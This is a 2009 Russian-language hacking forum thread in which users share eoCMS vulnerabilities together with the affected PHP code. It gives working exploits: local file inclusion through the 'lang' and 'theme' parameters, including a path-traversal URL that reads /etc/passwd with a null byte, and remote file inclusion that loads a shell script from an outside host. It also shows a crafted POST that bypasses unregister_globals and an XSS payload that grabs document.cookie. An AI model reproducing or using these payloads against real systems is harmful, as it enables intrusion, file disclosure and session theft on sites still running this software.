PDA

Просмотр полной версии : Уязвимости eoCMS


HAXTA4OK
13.10.2009, 20:25
Офф сайт: _http://eocms.com/

LFI


В файле Index.php
if(defined('COOKIE_LANG'))
$lang_path = COOKIE_LANG;
if(isset($settings['site_lang']))
$lang_path = $settings['site_lang'];
if(isset($user['lang']))
$lang_path = $user['lang'];
if(isset($_GET['lang']))
$lang_path = $_GET['lang'];
if(!isset($lang_path))
$lang_path = 'en';
# include actual language files
include_once(IN_PATH.'language/' . $lang_path . '/' . $lang_file);
include_once(IN_PATH.'language/' . $lang_path . '/functions.php');
include_once(IN_PATH.'language/' . $lang_path . '/panel.php');


_http://eocms.com/index.php?lang='
ЗЫ да со скулями поторопился

gisTy
14.10.2009, 19:48
...слушай, а ты пробовал использовать те дыры что нашел? и в какой версии eoCMS ты их нашел? так как сообщение было написано вчера, то я думаю, что это была версия v0.9.01. а если я прав то как бы вот кусок кода из framewok.php (он инклудится в самом начале index.php) /************************
** Clean superglobals **
************************/
function Sanitize($data_to_sanitize) {
if (get_magic_quotes_gpc())
$data_to_sanitize = stripslashes($data_to_sanitize);
$data_to_sanitize = htmlspecialchars($data_to_sanitize, ENT_QUOTES);
$data_to_sanitize = addslashes($data_to_sanitize);
return $data_to_sanitize;
}
function Sanitize_Array($value) {
$value = is_array($value) ? array_map('Sanitize_Array', $value) : Sanitize($value);
return $value;
}
$_POST = array_map('Sanitize_Array', $_POST);
$_GET = array_map('Sanitize_Array', $_GET);
$_COOKIE = array_map('Sanitize_Array', $_COOKIE);
$_REQUEST = array_map('Sanitize_Array', $_REQUEST);
$_SERVER = array_map('Sanitize_Array', $_SERVER);
$_FILES = array_map('Sanitize_Array', $_FILES);

HAXTA4OK
14.10.2009, 20:18
где именно? там максимум чего можно добиться через то, что ты выложил- это Full Path Disclosure (раскрытие путей)

ну извени если там null- byte не канает и для тебя ошибка

Warning: include_once() [function.include]: Failed opening '/home/garbages/public_html/eocms.com/language/jhgj\0//Pages.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/garbages/public_html/eocms.com/index.php on line 118

это тока раскрытие путей тогда я не знаю.....

PS то что выкладывал скули , они есть но вот реализовать их либо тяжело .либо ни как, пока не пытался :)

Spyder
16.10.2009, 01:47
Remote File Inclusion
Требования: register_globals = on
Файл: js/bbcodepress/bbcode-form.php


include_once($BBCODE_path . 'bbcodepress/bbcodepress-lite.php');


www.example.com/js/bbcodepress/bbcode-form.php?BBCODE_path=http://www.site.com/shell.txt?

(Dm)
16.10.2009, 03:42
Вот ещё чуть:
---------------------------------------
Бага: обход unregister_globals и раскрытие пути
Условия: register_globals = ON

>> framework.php

function unregister_globals(){

#checks if register globals is on

if (!ini_get('register_globals')){

return false;

}

foreach (func_get_args() as $name){

foreach ($GLOBALS[$name] as $key=>$value){
if (isset($GLOBALS[$key])) {

unset($GLOBALS[$key]);

}
}

}

}
unregister_globals('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', '_SESSION');

В результате все перменные посланные данными методами удаляются из GLOBALS;
Но если сделать запрос:

POST /index.php?antichat=test HTTP/1.1
Host: eocms
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

_GET=this del&_REQUEST=this del

Функция unregister_globals сначало удалит, масив _GET, потом _REQUEST, а переменная antichat будет жить)


-------------------------------
Бага: LFI
Условия: magic_quites = Off

>> framework.php

if(isset($_GET['theme']) && file_exists('themes/'.$_GET['theme'].'/theme-info.php'))

$settings['site_theme'] = $_GET['theme'];

~~~~~~~~~~~~~~~~~~~~

function theme() {

global $user, $settings;

$arg = func_get_args();

$num = func_num_args();

if(file_exists('themes/' . $settings['site_theme'] . '/functions/'.$arg[0].'.php'))

include_once IN_PATH.'themes/' . $settings['site_theme'] . '/functions/'.$arg[0].'.php';

Этот код выполняется до того как переменные обрабатываются через addslashes

exploit:
http://eocms/index.php?theme=../../../../../../../etc/passwd%00

------------------------------

Бага: XSS
Условия: register_globals = ON

exploit:
POST /index.php?error_die[0]=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
Host: eocms
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

_GET=this del&_REQUEST=this del